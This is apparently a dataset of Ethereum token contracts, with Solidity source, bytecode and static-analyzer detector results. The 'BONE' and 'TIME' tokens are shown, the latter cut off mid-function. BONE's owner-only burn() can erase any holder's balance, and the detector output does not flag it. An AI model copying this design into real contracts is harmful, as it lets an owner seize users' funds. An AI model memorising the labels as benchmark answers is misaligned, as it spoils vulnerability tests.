818a01875b848110156107f857898303605f19018652815180516001600160a01b03908116855285820151868601528982015181168a86015288820151898601526080808301519091169085015260a0808201519085015260c09081015160e0918501829052906107e48186018361069f565b978601979450505090830190600101610776565b50508781038289015261080b818a610641565b9a9950505050505050505050565b6020808252600c908201526b08c8292988a88be9a82a886960a31b604082015260600190565b60208082526010908201526f4641494c45445f4445504c4f59494e4760801b604082015260600190565b6020808252600c908201526b27a7262cafa1a922a0aa27a960a11b604082015260600190565b6020808252601a908201527f5361666545524332303a207472616e73666572206661696c6564000000000000604082015260600190565b604051601f8201601f1916810167ffffffffffffffff811182821017156108ef576108ef61091b565b604052919050565b600067ffffffffffffffff8211156109115761091161091b565b5060209081020190565b634e487b7160e01b600052604160045260246000fdfea26469706673582212200ce79cbf14878be8f9afbc91de6247a3d1cd915c541085e90c39adc491dda82064736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,206
0xe74e1f8faeab2c8b04746e29a797a94c8fd8e3ae
pragma solidity 0.6.10; // SPDX-License-Identifier: UNLICENSED /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public virtual override returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public virtual override returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: Token-contracts/ERC20.sol contract Bone is ERC20, Ownable { constructor () public ERC20 ("BONE Token", "BONE", 18) { _mint(msg.sender, 1070000000000E18); } /** * @dev Mint new tokens, increasing the total supply and balance of "account" * Can only be called by the current owner. */ function mint(address account, uint256 value) public onlyOwner { _mint(account, value); } /** * @dev Burns token balance in "account" and decrease totalsupply of token * Can only be called by the current owner. */ function burn(address account, uint256 value) public onlyOwner { _burn(account, value); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146104e7578063a9059cbb1461054d578063dd62ed3e146105b3578063f2fde38b1461062b57610100565b8063715018a6146103c25780638da5cb5b146103cc57806395d89b41146104165780639dc29fac1461049957610100565b8063313ce567116100d3578063313ce5671461029257806339509351146102b657806340c10f191461031c57806370a082311461036a57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d61066f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610711565b604051808215151515815260200191505060405180910390f35b6101f661083c565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610846565b604051808215151515815260200191505060405180910390f35b61029a610a4e565b604051808260ff1660ff16815260200191505060405180910390f35b610302600480360360408110156102cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a65565b604051808215151515815260200191505060405180910390f35b6103686004803603604081101561033257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c9a565b005b6103ac6004803603602081101561038057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d72565b6040518082815260200191505060405180910390f35b6103ca610dba565b005b6103d4610f45565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61041e610f6f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045e578082015181840152602081019050610443565b50505050905090810190601f16801561048b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104e5600480360360408110156104af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611011565b005b610533600480360360408110156104fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e9565b604051808215151515815260200191505060405180910390f35b6105996004803603604081101561056357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061131e565b604051808215151515815260200191505060405180910390f35b610615600480360360408110156105c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611335565b6040518082815260200191505060405180910390f35b61066d6004803603602081101561064157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113bc565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107075780601f106106dc57610100808354040283529160200191610707565b820191906000526020600020905b8154815290600101906020018083116106ea57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561074c57600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60006108d782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061096284848461160b565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610aa057600080fd5b610b2f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b610ca26117d5565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610d6e82826117dd565b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc26117d5565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110075780601f10610fdc57610100808354040283529160200191611007565b820191906000526020600020905b815481529060010190602001808311610fea57829003601f168201915b5050505050905090565b6110196117d5565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6110e5828261192f565b5050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561112457600080fd5b6111b382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600061132b33848461160b565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113c46117d5565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611486576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561150c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611a826026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284019050838110156115e157600080fd5b8091505092915050565b6000828211156115fa57600080fd5b600082840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561164557600080fd5b611696816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611729816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561181757600080fd5b61182c816002546115cc90919063ffffffff16565b600281905550611883816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561196957600080fd5b61197e816002546115eb90919063ffffffff16565b6002819055506119d5816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122090d6a9f227e6411b5e5d26d17a558bbfae9592359b164df5ad0598e8c347f8e064736f6c634300060a0033
{"success": true, "error": null, "results": {}}
7,207
0xc0af9677e75159e5ccebabe09fb685afd2ed2fb3
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event PausePublic(bool newState); event PauseOwnerAdmin(bool newState); bool public pausedPublic = false; bool public pausedOwnerAdmin = false; address public admin; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNotPaused() { if(pausedPublic) { if(!pausedOwnerAdmin) { require(msg.sender == admin || msg.sender == owner); } else { revert(); } } _; } /** * @dev called by the owner to set new pause flags * pausedPublic can't be false while pausedOwnerAdmin is true */ function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public { require(!(newPausedPublic == false && newPausedOwnerAdmin == true)); pausedPublic = newPausedPublic; pausedOwnerAdmin = newPausedOwnerAdmin; PausePublic(newPausedPublic); PauseOwnerAdmin(newPausedOwnerAdmin); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract TIMEToken is PausableToken { string public constant name = "TIME"; string public constant symbol = " TIME"; uint8 public constant decimals = 18; modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this)); _; } function TIMEToken( address _admin, uint _totalTokenAmount ) { // assign the admin account admin = _admin; // assign the total tokens to TIME totalSupply = _totalTokenAmount; balances[msg.sender] = _totalTokenAmount; Transfer(address(0x0), msg.sender, _totalTokenAmount); } function transfer(address _to, uint _value) validDestination(_to) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } event Burn(address indexed _burner, uint _value); function burn(uint _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); Transfer(msg.sender, address(0x0), _value); return true; } // save some gas by making only one contract call function burnFrom(address _from, uint256 _value) returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); } function emergencyERC20Drain( ERC20 token, uint amount 